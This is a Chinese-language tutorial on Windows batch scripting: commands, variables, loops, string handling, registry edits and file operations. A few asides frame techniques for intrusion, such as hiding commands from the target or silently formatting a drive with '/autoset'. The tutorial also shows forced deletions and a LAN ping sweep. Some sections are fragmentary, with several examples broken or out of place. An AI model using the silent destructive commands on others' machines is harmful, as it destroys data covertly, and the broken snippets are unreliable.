

# 一、基础语法:

- 1.批处理文件是一个“.bat”结尾的文本文件，这个文件的每一行都是一条 DOS 命令。可以使用任何文本文件编辑工具创建和修改。
- 2.批处理是一种简单的程序，可以用 if 和 goto 来控制流程，也可以使用 for 循环。
- 3.批处理的编程能力远不如 C 语言等编程语言，也十分不规范。
- 4.每个编写好的批处理文件都相当于一个 DOS 的外部命令，把它所在的目录放到 DOS 搜索路径(path)中，即可在任意位置运行。
- 5.C:\AUTOEXEC.BAT 是每次系统启动时都会自动运行的，可以将每次启动时都要运行的命令放入该文件中。
- 6.大小写不敏感(命令符忽略大小写)
- 7.批处理的文件扩展名为 .bat 或 .cmd。
- 8.在命令提示下键入批处理文件的名称，或者双击该批处理文件，系统就会调用 Cmd.exe 来运行该文件。

# 二、参数:

## 1) 系统参数

```
%SystemRoot%    ===    C:\WINDOWS      (%windir% 同样)
%ProgramFiles%  ===    C:\Program Files
%USERPROFILE%   ===    C:\Documents and Settings\Administrator (子目录有“桌面”，“开始菜单”，“收藏夹”等)
%APPDATA%       ===    C:\Documents and Settings\Administrator\Application Data
%TEMP%          ===    C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp (%TEM% 同样)
%APPDATA%       ===    C:\Documents and Settings\Administrator\Application Data
%OS%            ===    Windows_NT (系统)
%Path%
=== %SystemRoot%\system32;%SystemRoot%;%SystemRoot%\System32\Wbem (原本的设置)
%HOMEDRIVE%     ===    C:      (系统盘)
%HOMEPATH%      ===    \Documents and Settings\Administrator

:: 枚举当前的环境变量
setlocal enabledelayedexpansion
FOR /F "usebackq delims==" %%i IN ('set') DO @echo %%i!%%i!
```

## 2) 传递参数给批处理文件

%[1-9]表示参数，参数是指在运行批处理文件时在文件名后加的以空格(或者 Tab)分隔的字符串。

变量可以从%0 到%9，%0 表示批处理命令本身，其它参数字符串用 %1 到 %9 顺序表示。

Sample:

call test2.bat "hello" "haha" (执行同目录下的“test2.bat”文件，并输入两个参数)

在“test2.bat”文件里写:

echo %1 (打印: "hello")

echo %2 (打印: "haha")

echo %0 (打印: test2.bat)

echo %19 (打印: "hello"9)

# 三、批处理基本命令

## 0. help 命令

/? 命令

语法: 命令 /?

可显示此命令的帮助信息

Sample: type /? >>tmp.txt (把 type 命令的帮助信息写入到 tmp.txt 文件里)

Sample: help type (显示跟“type /?”一样)

## 1.Echo 命令

语法: echo [{on|off}] [message]

ECHO [ON | OFF] 打开回显或关闭回显功能。

ECHO 显示当前回显设置。

ECHO [message] 显示信息。

echo off 表示在此语句后所有运行的命令都不显示命令行本身；默认是 on，on 时会显示如： C:\文件夹路径>命令行。

在实际应用中我们会把这条命令和重定向符号(也称为管道符号，一般用 >>> ^)结合起来实现输入一些命令到特定格式的文件中。

Sample: echo off

Sample: echo hello world (显示出“hello world”)

Sample : `echo Windows Registry Editor Version 5.00 > c:\setupreg.reg` (此前还没有 setupreg.reg 这个文件)

Sample : `echo "SourcePath"="D:\\Win2003\\" >> c:\setupreg.reg` (追加内容进 setupreg.reg 这个文件)

## 2.@ 命令

表示不显示@后面的命令，(在入侵过程中自然不能让对方看到你使用的命令啦)

@ 与 `echo off` 相象，但它是加在每个命令行的最前面，表示运行时不显示这一行的命令行(只能影响当前行)。

Sample: `@echo off` (此语句常用于开头，表示不显示所有的命令行信息，包括此句)

Sample: `@echo please wait a minite...`

Sample: `@format X: /q/u/autoset`

(format 这个命令是不可以使用/y 这个参数的，可喜的是微软留了个 autoset 这个参数给我们，效果和/y 是一样的。)

## 3.Goto 命令

语法: `goto label` (label 是参数，指定所要转向的批处理程序中的行。)

指定跳转到标签行，找到标签行后，程序将处理从下一行开始的命令。

label 标签的名字可以随便起，但是最好是有意义的，字母前必须加个冒号“:”来表示这个字母是标签。

`goto` 命令就是根据这个冒号来寻找下一步跳到那里。经常与 `if` 配合使用，根据不同的条件来执行不同的命令组。

例题见“5.Pause 命令”

## 4.Rem 命令

语法: `Rem Message...`

(小技巧: 用::代替 rem)

注释命令，在 C 语言中相当与 `/*...*/`,它并不会被执行，只是起一个注释的作用，便于别人阅读和自己日后修改。

Sample: `@Rem Here is the description.`

## 5.Pause 命令

会暂停批处理的执行并在屏幕上显示 `Press any key to continue...`的提示，等待用户按任意键后继续

Sample:

```
@echo off
:begin
copy a:*. * d:\back
echo Please put a new disk into driver A
pause
goto begin
```

在这个例子中，驱动器 A 中磁盘上的所有文件均复制到 d:\back 中。

显示的信息提示您将另一张磁盘放入驱动器 A 时，pause 命令会使程序挂起，以便您更换磁盘，然后按任意键再次复制。

## 6.Call 命令

语法: call [[Drive:][Path] FileName [BatchParameters]] [:label [arguments]]

参数: [Drive:][Path] FileName 指定要调用的批处理程序的位置和名称。filename 参数必须具有 .bat 或 .cmd 扩展名。

调用另一个批处理程序，并且不终止父批处理程序。

如果不用 call 而直接调用别的批处理文件，那么执行完那个批处理文件后将无法返回当前文件并执行当前文件的后续命令。

call 命令接受用作调用目标的标签。如果在脚本或批处理文件外使用 Call，它将不会在命令行起作用。

Sample: call="%cd%\test2.bat" haha kkk aaa (调用指定目录下的 test2.bat，且输入 3 个参数给他)

Sample: call test2.bat arg1 arg2 (调用同目录下的 test2.bat，且输入 2 个参数给他)

注：可以调用自身(死循环、递归)

## 7.start 命令

调用外部程序，所有的 DOS 命令 和 命令行程序 都可以由 start 命令 来调用。

入侵常用参数：

MIN 开始时窗口最小化

SEPARATE 在分开的空间内开始 16 位 Windows 程序

HIGH 在 HIGH 优先级类别开始应用程序

REALTIME 在 REALTIME 优先级类别开始应用程序

WAIT 启动应用程序并等候它结束

parameters 这些为传送到命令/程序的参数

Sample: start /MIN test2.bat arg1 arg2 (调用同目录下的 test2.bat，且输入 2 个参数给他，且本窗口最小化)

Sample: e:"program files"\极品列车时刻表\jpskb.exe (文件路径名有空格时)

## 8.If 命令

if 表示将判断是否符合规定的条件，从而决定执行不同的命令。有三种格式：

### 1) IF

语法: if [not] "参数" == "字符串" 待执行的命令

参数如果等于(not 表示不等，下同)指定的字符串，则条件成立，运行命令，否则运行下一句。(注意是两个等号)

Sample: if "%1" == "a" format a:

Sample: if {%1} == {} goto noparms

### 2) if exist

语法: if [not] exist [路径\]文件名 待执行的命令

如果有指定的文件，则条件成立，运行命令，否则运行下一句。

Sample: if exist config.sys edit config.sys (表示如果存在这文件，则编辑它，用很难看的系统编辑器)

Sample: if exist config.sys type config.sys (表示如果存在这文件，则显示它的内容)

### 3) if errorlevel number

语法: if [not] errorlevel <数字> 待执行的命令

如果程序返回值等于指定的数字，则条件成立，运行命令，否则运行下一句。(返回值必须按照从大到小的顺序排列)

Sample:

```
@echo off
```

```
XCOPY F:\test.bat D:\
```

```
IF ERRORLEVEL 1 (ECHO 文件拷贝失败
```

```
) Else IF ERRORLEVEL 0 ECHO 成功拷贝文件
```

```
pause
```

很多 DOS 程序在运行结束后会返回一个数字值用来表示程序运行的结果(或者状态)，称为错误码 errorlevel 或称返回码。

常见的返回码为 0、1。通过 if errorlevel 命令可以判断程序的返回值，根据不同的返回值来决定执行不同的命令。

### 4) else

语法: if 条件 (成立时执行的命令) else (不成立时执行的命令)

如果是多个条件，建议适当使用括号把各条件包起来，以免出错。

Sample: if 1 == 0 ( echo comment1 ) else if 1==0 ( echo comment2 ) else (echo comment3 )

注：如果 else 的语句需要换行，if 执行的行尾需用“^”连接，并且 if 执行的动作需用(括起来)，否则报错

Sample: if 1 == 0 ( echo comment1 ) else if 1==0 ( echo comment2 ) ^  
else (echo comment3 )

### 5) 比较运算符:

EQU - 等于 (一般使用 “==” )

NEQ - 不等于 (没有 “!=”,改用 “ if not 1==1 ” 的写法)

LSS - 小于

LEQ - 小于或等于

GTR - 大于

GEQ - 大于或等于

## 9.choice 命令

**choice** 使用此命令可以让用户输入一个字符(用于选择),从而根据用户的选择返回不同的 **errorlevel**,

然后配合 **if errorlevel** 选择运行不同的命令。

注意: **choice** 命令为 DOS 或者 Windows 系统提供的外部命令,不同版本的 **choice** 命令语法会稍有不同,请用 **choice /?**查看用法。

**choice** 使用此命令可以让用户输入一个字符,从而运行不同的命令。

使用时应该加 **/c:**参数, **c:**后应写提示可输入的字符,之间无空格。它的返回码为 1234……

Sample: **choice /c:dme defrag,mem,end**

将显示: **defrag,mem,end[D,M,E]?**

Sample:

**choice /c:dme defrag,mem,end**

**if errorlevel 3 goto defrag** (应先判断数值最高的错误码)

**if errorlevel 2 goto mem**

**if errorlevel 1 goto end**

## 10.for 命令

**for** 命令是一个比较复杂的命令,主要用于参数在指定的范围内循环执行命令。

1) **for {%%variable | %%variable} in (set) do command [command-parameters]**

**%%variable** 指定一个单一字母可替换的参数。变量名称是区分大小写的,所以 **%i** 不同于 **%I**

在批处理文件中使用 **FOR** 命令时,指定变量建议用 **%%variable** 而不要用 **%variable**。

**(set)** 指定一个或一组文件。可以使用通配符。

**command** 指定对每个文件执行的命令。

**command-parameters** 为特定命令指定参数或命令行开关。

2) 如果命令扩展名被启用,下列额外的 **FOR** 命令格式会受到支持:

a.**FOR /D %%variable IN (set) DO command [command-parameters]**

如果集里面包含通配符,则指定与目录名匹配,而不与文件名匹配。

b.**FOR /R [[drive:]path] %%variable IN (set) DO command [command-parameters]**

检查以 **[drive:]path** 为根的目录树,指向每个目录中的 **FOR** 语句。

如果在 **/R** 后没有指定目录,则使用当前目录。如果集仅为一个单点(.)字符,则枚举该目录树。

c.**FOR /L %%variable IN (start,step,end) DO command [command-parameters]**

该集表示以增量形式从开始到结束的一个数字序列。

如: **(1,1,5)** 将产生序列 1 2 3 4 5; 而 **(5,-1,1)** 将产生序列 (5 4 3 2 1)。

d.有或者没有 usebackq 选项:

FOR /F ["options"] %variable IN (file-set) DO command

FOR /F ["options"] %variable IN ("string") DO command

FOR /F ["options"] %variable IN (command) DO command

参数"options"为:

eol=c - 指一个行注释字符的结尾(就一个,如 ";" )

skip=n - 指在文件开始时忽略的行数。

delims=xxx - 指分隔符集。这个替换了空格和跳格键的默认分隔符集。

tokens=x,y,m-n - 指每行的哪一个符号被传递到每个迭代的 for 本身。这会导致额外变量名称的分配。

m-n 格式为一个范围。通过 nth 符号指定 mth。

如果符号字符串中的最后一个字符星号,那么额外的变量将在最后一个符号解析之后分配并接受行的保留文本。

usebackq - 指定新语法已在下类情况中使用:

在作为命令执行一个后引号的字符串并且一个单引号字符为文字字符串命令并允许在 filenameset 中使用双引号扩起文件名称。

### 3) Sample:

1. 如下命令行会显示当前目录下所有以 bat 或者 txt 为扩展名的文件名。

```
for %%c in (*.bat *.txt) do (echo %%c)
```

a. 如下命令行会显示当前目录下所有包含有 e 或者 i 的目录名。

```
for /D %%a in (*e* *i*) do echo %%a
```

b. 如下命令行会显示 E 盘 test 目录下所有以 bat 或者 txt 为扩展名的文件名。

```
for /R E:\test %%b in (*.txt *.bat) do echo %%b
```

```
for /r %%c in (*) do (echo %%c) :: 遍历当前目录下所有文件
```

c. 如下命令行将产生序列 1 2 3 4 5

```
for /L %%c in (1,1,5) do echo %%c
```

d. 以下两句,显示当前的年月日和时间

```
For /f "tokens=1-3 delims=-/." %%j In ('Date /T') do echo %%j 年%%k 月%%l 日
```

```
For /f "tokens=1,2 delims=: " %%j In ('TIME /T') do echo %%j 时%%k 分
```

e. 把记事本中的内容每一行前面去掉 8 个字符

```
setlocal enabledelayedexpansion
```

```
for /f %%i in (zhidian.txt) do (
```

```
set atmp=%%i
```

```
set atmp=!atmp:~8!
```

```
if {%atmp!}=={} ( echo.) else echo !atmp!
```

```
)
```

:: 读取记事本里的内容(使用 delims 是为了把一行显示全,否则会以空格为分隔

符)

```
for /f "delims=" %%a in (zhidian.txt) do echo.%%a
```

### 4) continue 和 break

利用 goto 实现程序中常用的 continue 和 break 命令,其实非常简单

continue: 在 for 循环的最后一行写上一个标签,跳转到这位置即可

break: 在 for 循环的外面的下一句写上一个标签,跳转到这位置即可

Sample: (伪代码)

```

for /F ["options"] %variable IN (command) DO (
... do command ...
if ... goto continue
if ... goto break
... do command ...
:continue
)
:break

```

## 四、其它命令

### 1. ping 命令

测试网络联接状况以及信息包发送和接收状况。但是不能够测试端口。

语法: ping IP 地址或主机名 [-t] [-a] [-n count] [-l size]

参数含义:

-t 不停地向目标主机发送数据;

-a 以 IP 地址格式来显示目标主机的网络地址;

-n count 指定要 Ping 多少次, 具体次数由 count 来指定;

-l size 指定发送到目标主机的数据包的大小。

Sample: ping 192.168.0.1 -t (不停的测试 192.168.0.1, 按 ctrl+c 停止)

Sample: for /L %a in (0,1,255) do ping 192.168.0.%a -n 1 >> tmp.txt (ping 一下所有的局域网电脑)

### 2. telnet 命令

测试端口使用 telnet IP 地址或主机名 端口, 使用 tcp 协议的

Sample: telnet 192.168.0.1 80 (测试 192.168.0.1 的 80 端口)

### 3.color 命令

设置背景及字体颜色

语法: color bf

b 是指定背景色的十六进制数字; f 指定前景颜色(即字体颜色)。

颜色值:      0:黑色      1:蓝色      2:绿色      3:湖蓝      4:红色      5:紫色      6:黄色  
7:白色  
                8:灰色      9:淡蓝      A:淡绿      B:浅绿      C:淡红      D:淡紫      E:淡黄



F:亮白

如果没有给定任何参数，该命令会将颜色还原到 CMD.EXE 启动时的颜色。

如果两参数一样，视为无效输入。只有一个参数时，设置字体。

## 4. random 命令

产生随机数(正整数 0~)

## 5. exit 命令

结束程序。即时是被调用的程序，结束后也不会返回原程序

## 6. shutdown 命令

shutdown -s 关机

## 7. 所有内置命令的帮助信息

ver /?

cmd /?

set /?

rem /?

if /?

echo /?

goto /?

for /?

shift /?

call /?

其他需要的常用命令

type /?

find /?

findstr /?

copy /?

## 五、字符串处理

### 1) 分割字符串，以查看时间为例

`%源字符串:~起始值,截取长度%` (起始值从 0 开始; 截取长度是可选的, 如果省略逗号和截取长度, 将会从起始值截取到结尾;

截取长度如果是负数, 表示截取到倒数第几个。)

`%time%` 显示如: `"11:04:23.03"` (完整的时间`"hh:mm:ss.tt"`)

`%time:~0,5%` 显示`"hh:mm"`(即`"11:04"`), 其中 0 表示从右向左移位操作的个数, 5 表示从左向右移位操作的个数

`%time:~0,8%` 显示标准时间格式`"hh:mm:ss"`(即`"11:04:23"`, 前 8 个字符串)

`%time:~3,-3%` 显示`"mm:ss"`(即从第 4 个开始, 截去最后 3 个的字符串)

`%time:~3%` 显示`"04:23.03"`(即去掉前 4 个字符串)

`%time:~-3%` 显示`".tt"`(即最后 3 个字符串)

上面的字符串分割格式, 也可以用于其它地方, 如目录路径: `%cd:~0,10%`

### 2) 替换字符串

```
set a="abcd1234"
```

```
echo %a%          显示: "abcd1234"
```

```
set a=%a:1=kk%    替换“1”为“kk”
```

```
echo %a%          显示: "abcdkk234"
```

### 3) 字符串合并

由于没有直接的字符串合并函数, 只能用笨方法了。

```
set str1=%str1%%str2%    (合并 str1 和 str2)
```

### 4) 计算字符串长度

没有现成的函数。如下程序利用 `goto` 形成循环, 不断将字符串截短 1, 并记录截短的次数, 到字符串变成空时的次数即长度。

```
set testStr=This is a test string
```

```
:: 将 testStr 复制到 str, str 是个临时字符串
```

```
set str=%testStr%
```

```
:: 标签, 用于 goto 跳转
```

```
:next1
```

```
:: 判断 str 是不是空, 如果不是则执行下边的语句
```

```
if not "%str%"==" "(
```

```
:: 算术运算, 使 num 的值自增 1, 相当于 num++或者++num 语句
```

```
set /a num+=1
```

```
:: 截取字符串, 每次截短 1
```

```
set "str=%str:~1%"
```

```
:: 跳转到 next1 标签: 这里利用 goto 和标签, 构成循环结构
```

```
goto next1
```

```
)
```

```
:: 当以上循环结构执行完毕时, 会执行下边的语句
```

```
echo testStr=%testStr%
```

```
echo testStr 的长度为: %num%
```

### 5) 截取字符串时, 需要传递参数

直接 `echo %args:~%num%,-5%` 没办法想要的字符串，需要如下两步  
`setlocal enabledelayedexpansion`  
`echo !args:~%num%,-5!`

## 六、注册表操作

1) 备份注册表，将[HKEY\_LOCAL\_MACHINE ... Run]的内容，备份到“c:\windows\1.reg”  
`reg export HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run`  
`c:\windows\1.reg`

`reg export HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run`  
`c:\windows\2.reg`

2) 修改/添加注册表内容

a.一般的添加或修改

`reg add "HKCU\Environment" /v Java_Home /t reg_sz /d "D:\Java\jdk1.6.0_07" /f`

上句解析：“HKCU”是“HKEY\_CURRENT\_USER”的缩写，不用缩写用全称也可以；

添加名称为“Java\_Home”的变量；类型为“reg\_sz”，另一种常见类型是“reg\_dword”；

值为 D:\Java\jdk1.6.0\_07；

b.使用变量

`set SoftwareHome=HKEY_LOCAL_MACHINE\SOFTWARE\JavaSoft\Java`

`reg add "%SoftwareHome%\Web Start\1.6.0_07" /v Home /t reg_sz /d`  
`"%cd%\jre1.6.0_07\bin" /f`

c.如果注册表的名称有空格，或者数据用特殊符号时

`reg add "%SoftwareHome%\HelpCommands" /v "01:Online Documentation" /t`  
`reg_sz /d ""%cd%\Documentation\Index.htm"" /f`

传入值为（值用双引号括起来的）：

`"D:\ProgramFiles\1.work_soft\Sybase\PowerDesigner_12\Documentation\Index.htm"`

`reg add "%SoftwareHome%\Paths" /v ReportTemplates /t reg_sz /d "%cd%\Resource`  
`Files\Report Templates\" /f`

传入值为（“\”结尾的）：`E:\Holemar\1.notes\90. Windows\Resource Files\Report`  
`Templates\`

d.增加空的内容

`reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Shared`  
`Tools\MSConfig\startupreg\IMJPMIG8.1"`

e.添加或修改默认值

`reg add "%vpath%\InstallPath" /ve /t reg_sz /d "%cd%" /f`

这里用“/ve”来代替一般修改时的“/v 变量名”，即可修改默认值了

3) 删除注册表的内容

双引号里面的是注册表的目录，下面两句将删除这目录下的所有信息

`reg delete "HKEY_CURRENT_USER\Software\RealVNC" /f`

`reg delete "HKEY_LOCAL_MACHINE\SOFTWARE\RealVNC" /f`

双引号里面的是注册表的目录，下面一句将删除这目录下指定的某个信息

#### 4) 注册表的常用位置

[HKEY\_CURRENT\_USER\Software\Microsoft\Windows\CurrentVersion\Run]

b.系统环境变量:

c.当前用户的环境变量:

```
start "" "explorer.exe"
```

- 3) 查看系统服务: `start %SystemRoot%\system32\services.msc /s`

- ```
set a=5 & echo %a%
```

结果： 4

也可以对这种机制加以利用，如下的变量交换

example:

```
set var1=abc
set var2=123
echo 交换前: var1=%var1% var2=%var2%
set var1=%var2% & set var2=%var1%
echo 交换后: var1=%var1% var2=%var2%
```

1) 启动批处理文件中环境变量的本地化。本地化将持续到出现匹配的 `endlocal` 命令或者到达批处理文件结尾为止。

语 法： `setlocal {enableextension | disableextensions} {enabledelayedexpansion | disabledelayedexpansion}`

`enableextension`: 启用命令扩展，直到出现匹配的 `endlocal` 命令，无论 `setlocal` 命令之前的设置如何。

`disableextensions`: 禁用命令扩展，直到出现匹配的 `endlocal` 命令，无论 `setlocal` 命令之前的设置如何。

`enabledelayedexpansion`: 启用延迟的环境变量扩展，直到出现匹配的 `endlocal` 命令，无论 `setlocal` 命令之前的设置如何。

`disabledelayedexpansion`: 禁用延迟的环境变量扩展，直到出现匹配的 `endlocal` 命令，无论 `setlocal` 命令之前的设置如何。

2) 为了能够感知环境变量的动态变化，批处理设计了变量延迟。简单来说，在读取了一条完整的语句之后，不立即对该行的变量赋值，而会在某个单条语句执行之前再进行赋值，也就是说“延迟”了对变量的赋值。

example:

```
setlocal enabledelayedexpansion
set a=4
set a=5 & echo !a!
```

结果： 5

变量延迟的启动语句是“`setlocal enabledelayedexpansion`”，并且变量要用一对叹号“`!!`”括起来

由于启动了变量延迟，所以批处理能够感知到动态变化，即不是先给该行变量赋值，而是在运行过程中给变量赋值，因此此时 `a` 的值就是 5 了

另外，启动变量延迟，“`%`”的变量还是不变

example2:

```
setlocal enabledelayedexpansion
for /l %%i in (1,1,5) do (
set a=%%i
echo !a!
)
```

结果，打印从 1 到 5；如果不变量延迟，一个变量也没有打印

## 九、文件处理

### 1.删除

#### 1) 删除一个文件或多个文件

`del /s /q /f d:\test\a.bat`

将直接删除 `d:\test\a.bat`，没有任务提示

`del temp\* /q /f /s`

将直接删除 本目录的 `temp` 目录的所有文件，没有任务提示

删除文件的时候可以使用 “\*” 作通配符

#### 2) 删除一个空目录

`rd /q /s d:\test\log`

将直接删除 `d:\test\log` 目录，如果 `log` 目录里面有文件将无法删除

#### 3) 删除一个非空目录 (必须指定目录名称)

`rmdir /q /s d:\test\logs`

必须指定目录名称，不能使用通配符

`/S` 除目录本身外，还将删除指定目录下的所有子目录

`/Q` 安静模式，带 `/S` 删除目录树时不要求确认

无论里面是否有文件或文件夹将全部直接删除

### 2.创建目录

`MKDIR [drive:]path`

`MD [drive:]path`

路径有空格时，可以用双引号括起来，也可以用 `&nbsp;` 替代

实践部分:

=====

### 一、小摘录:

#### 1. 调用其他程序时，对文件的大小写不敏感，文件后缀也可忽略

如: `start LeapFTP.exe` 与 `start leapftp` 效果一样，都是运行 “LeapFTP.exe” 文件

每行的开头的字符串会自动查找程序来运行，还可用双引号引起来(文件名或目录名含空格时必须用)

如: `"D:\Program Files\Leap FTP.exe"`

`"LeapFTP.exe"` 可正常运行文件，`start "" "LeapFTP.exe"` 也可以正常运行文件(注意，第一个参数是窗口显示的标题)

3. `copy C:\test\*. * D:\back` (复制 C 盘 `test` 文件夹的所有文件(不包括文件夹及子文件夹里的东西)到 D 盘的 `back` 文件夹)

4. `dir c:\*. * > a.txt` (将 c 盘文件列表写入 a.txt 中)
5. `>` 生成文件并写入内容(如果有这文件则覆盖), `>>` 文件里追加内容
6. `md d:\aa` (创建文件夹)
7. 在命令末尾加上 “`>NUL 2>NUL`”, 表示隐蔽返回信息。
8. 等待用户输入: `set /p 变量名=屏幕显示信息。` Sample: `set /p pass=请输入密码:`
9. 让用户按回车退出  
小技巧(替代 `pause`), 文件的最后一句: `set /p tmp=操作结束, 请按回车键退出...`
10. 设置标题: `title JDK 安装`
11. 设置屏幕显示颜色, 如绿色: `color 0a`
12. 清屏: `cls`
13. 查看自己的 IP:  
`for /f "tokens=15" %i in ('ipconfig ^| find /i "ip address") do set ip=%i`  
`echo %ip%` (这时的 `%ip%` 就是自己的 IP 地址)
14. 修改文件的更新日期  
`copy 文件名+,,>nul` (修改为当前时间, 如果要修改为指定时间, 先修改系统时间, 再改回系统时间)
15. 修改文件的后缀名  
`ren C:\test\*.jpg *.JPG`  
`for /r %c in (*.jpg) do (ren %c *.JPG)` :: 修改当前目录下的所有文件的后缀名, 包括子目录的
16. 修改文件的文件名  
`rename test.jpg test2.JPG`  
`rename *.jpg *.888.JPG`
17. 查看 DNS、IP、Mac 等  
1) Win98: `winipcfg`  
2) Win2000 以上: `Ipconfig /all`  
3) NSLOOKUP
18. 查看 IP 上的共享资源, 就可以  
`net view 192.168.10.8`
19. 共享  
A. 查看你机器的共享资源: `net share`  
B. 手工删除共享  
`net share 共享资源名称$ /d`  
注意\$后有空格。  
C. 增加一个共享:  
`net share mymovie=e:\downloads\movie /users:3`  
`mymovie` 共享成功。 同时限制链接用户数为 3 人。
20. 打开某网站  
`start iexplore.exe http://www.baidu.com`

## 二、实例:

1. 生成 `reg` 文件, 运行它, 再删除它

```

    echo "更改 windows 安装文件的路径"
    echo Windows Registry Editor Version 5.00 > c:\setupreg.reg
    echo
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Setup]
c:\setupreg.reg
    echo "ServicePackSourcePath"="D:\\Win2003\\" >> c:\setupreg.reg
    echo "SourcePath"="D:\\Win2003\\" >> c:\setupreg.reg
    :: 写入注册表
    regedit /S c:\setupreg.reg
    :: 删除注册表文件
    del c:\setupreg.reg

```

## 2.调用了 exe 文件,结束后没有关闭, 解决方式

用 start 命令运行文件, 如:

```
start LeapFTP.exe 192.168.0.100
```

## 3.设置系统环境变量

:: 有这个环境变量, 则不需再设置, 直接结束

```
if not "%JAVA_HOME%" == "" exit
```

:: 设置环境变量的地址

```
set inputJavaHome=%cd%\jdk1.6.0_07
```

:: 设置环境变量, 也可以设置当前用户的变量

```
set
```

```
EnvironmentHome=HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session
Manager\Environment
```

```
echo 正在设置环境变量, 请稍候.....
```

```
reg add "%EnvironmentHome%" /v JAVA_HOME /t reg_sz /d "%inputJavaHome%" /f
```

```
reg add "%EnvironmentHome%" /v ClassPath /t reg_sz /d ".;%%JAVA_HOME%\lib" /f
```

```
reg add "%EnvironmentHome%" /v Path /t reg_sz /d "%%JAVA_HOME%\bin;%Path%" /f
```

:: 刷新, 令环境变量生效

```
taskkill /f /im explorer.exe >nul
```

```
start "" "explorer.exe"
```

## 4.隐藏某目录的所有文件及文件夹

cd /d 要隐藏的目录(如: D:)

```
for /f "usebackq delims=" %%A in (`dir /a /b`) do (attrib "%%A" -r +h -s)
```

5.在批处理中使用密码。密码为 admin, 输入正确, 跳转到 next1 , 若输入密码错误 3 次, 则锁屏。。

```
@echo off
```

```
set num=0
```

```
:11
```

```
set /p pass=请输入密码:
```

```
if "%pass%"=="admin" goto next1
```



```

set /a num=%num% + 1
if %num%==3 goto no1
goto 11
:no1
%windir%\system32\rundll32.exe user32.dll,LockWorkStation
goto 11
:next1
echo 密码正确，执行下面的程式
pause

```

#### 6.清空回收站(未成功)

```

@echo off
del /f /s /q c:\recycler\*. *
::刷新屏幕
taskkill /f /im explorer.exe >nul
start "" "explorer.exe"

```

#### 7.让系统断断续续地鸣叫

```

@echo off
:begin
:: 发出鸣叫( “ ” 实际就是 ASCII 码值为 7 的特殊字符 (蜂鸣键 beep)
echo
:: 让程序暂停一小阵子
ping -n 1 -l 1 127.1 >nul
goto :begin

```

#### 8.将 FAT 卷转换成 NTFS

利用 “CONVERT.exe” 进行,解析如下:

CONVERT volume /FS:NTFS [/V] [/CvtArea:filename] [/NoSecurity] [/X]

volume 指定驱动器号(后面跟一个冒号)、装载点或卷名。

/FS:NTFS 指定要被转换成 NTFS 的卷。

/V 指定 Convert 应该用详述模式运行。

/CvtArea:filename

将根目录中的一个接续文件指定为 NTFS 系统文件的占位符。

/NoSecurity 指定每个人都可以访问转换的文件和目录的安全设置。

/X 如果必要，先强行卸载卷。该卷的所有打开的句柄则无效。

程序如下:

@ ECHO OFF

@ ECHO.

@ ECHO.

说 明

@ ECHO -----

@ ECHO NTFS 是一种磁盘格式。该格式能存放大于 4G 的单个文件(如高清电影文件)，

并可对

@ ECHO 文件夹进行加密，但有个缺点是 DOS 下无法访问。建议 D 盘及其后的盘使用 NTFS 格式，

@ ECHO C 盘如非必要可以不转换，FAT32 与 NTFS 这两种格式的读写速度几乎是没有什么差别的。

```
@ ECHO -----
@ ECHO.
convert c: /fs:ntfs
:: D 盘也转成 NTFS
convert d: /fs:ntfs
```

#### 9. 获取我的文档

```
SET SF="HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders"
FOR /F "tokens=2,*" %%I IN ('REG QUERY %SF% /v Personal 2^>NUL^|FIND /I
"Personal") DO SET "myDoc=%%~J"
:: 复制文件到我的文档
XCOPY /D /E /R /Y /C "%cd%\test.txt" "%myDoc%\test"
```

=====

实例：

```
3.IF-ERRORLEVEL
@ECHO OFF
XCOPY C:\AUTOEXEC.BAT D:IF ERRORLEVEL 1 ECHO 文件拷贝失败
IF ERRORLEVEL 0 ECHO 成功拷贝文件
```

如果文件拷贝成功，屏幕就会显示“成功拷贝文件”，否则就会显示“文件拷贝失败”。  
IF ERRORLEVEL 是用来测试它的上一个 DOS 命令的返回值的，注意只是上一个命令的返回值，而且返回值必须依照从大到小次序顺序判断。因此下面的批处理文件是错误的：

```
@ECHO OFF
XCOPY C:\AUTOEXEC.BAT D:\
CHO 成功拷贝文件
IF ERRORLEVEL 1 ECHO 未找到拷贝文件
IF ERRORLEVEL 2 ECHO 用户通过 ctrl-c 中止拷贝操作
IF ERRORLEVEL 3 ECHO 预置错误阻止文件拷贝操作
IF ERRORLEVEL 4 ECHO 拷贝过程中写盘错误
无论拷贝是否成功，后面的：
未找到拷贝文件
用户通过 ctrl-c 中止拷贝操作
预置错误阻止文件拷贝操作
拷贝过程中写盘错误
都将显示出来。
```

以下就是几个常用命令的返回值及其代表的意义:

**backup**

- 0 备份成功
- 1 未找到备份文件
- 2 文件共享冲突阻止备份完成
- 3 用户用 **ctrl-c** 中止备份
- 4 由于致命的错误使备份操作中止

**diskcomp**

- 0 盘比较相同
- 1 盘比较不同
- 2 用户通过 **ctrl-c** 中止比较操作
- 3 由于致命的错误使比较操作中止
- 4 预置错误中止比较

**diskcopy**

- 0 盘拷贝操作成功
- 1 非致命盘读/写错
- 2 用户通过 **ctrl-c** 结束拷贝操作
- 3 因致命的处理错误使盘拷贝中止
- 4 预置错误阻止拷贝操作

**format**

- 0 格式化成功
- 3 用户通过 **ctrl-c** 中止格式化处理
- 4 因致命的处理错误使格式化中止
- 5 在提示 “**proceed with format(y/n)?**” 下用户键入 **n** 结束

**xcopy**

- 0 成功拷贝文件
- 1 未找到拷贝文件
- 2 用户通过 **ctrl-c** 中止拷贝操作
- 4 预置错误阻止文件拷贝操作
- 5 拷贝过程中写盘错误

```
=====
@echo off      //不显示 shell 的命令。
Setlocal       //环境改变只适用于这个文件。
%OS%           //为当前的操作系统。
Rem            //注释一行文本。
Goto 标签      //改变执行顺序，去标签位置。
: 标签         //定义一个标签。
Set 变量名=值  //定义变量
Not            //取反
Netstat -na    //显示当前被点用的端口。
%0 %1 %2      //用于表示批处理文件的参数 0 为命令,共 1-9 个参数。
```

Shift                                        //用于向前一个参数，原 1 变 0，原 2 变 1.每调用一次 shift 向前一移动一位。

Call                                        //调用其他批处理文件或命令。

Start 命令 参数                        //指示出在另一个窗口中开始运行命令。

=====  
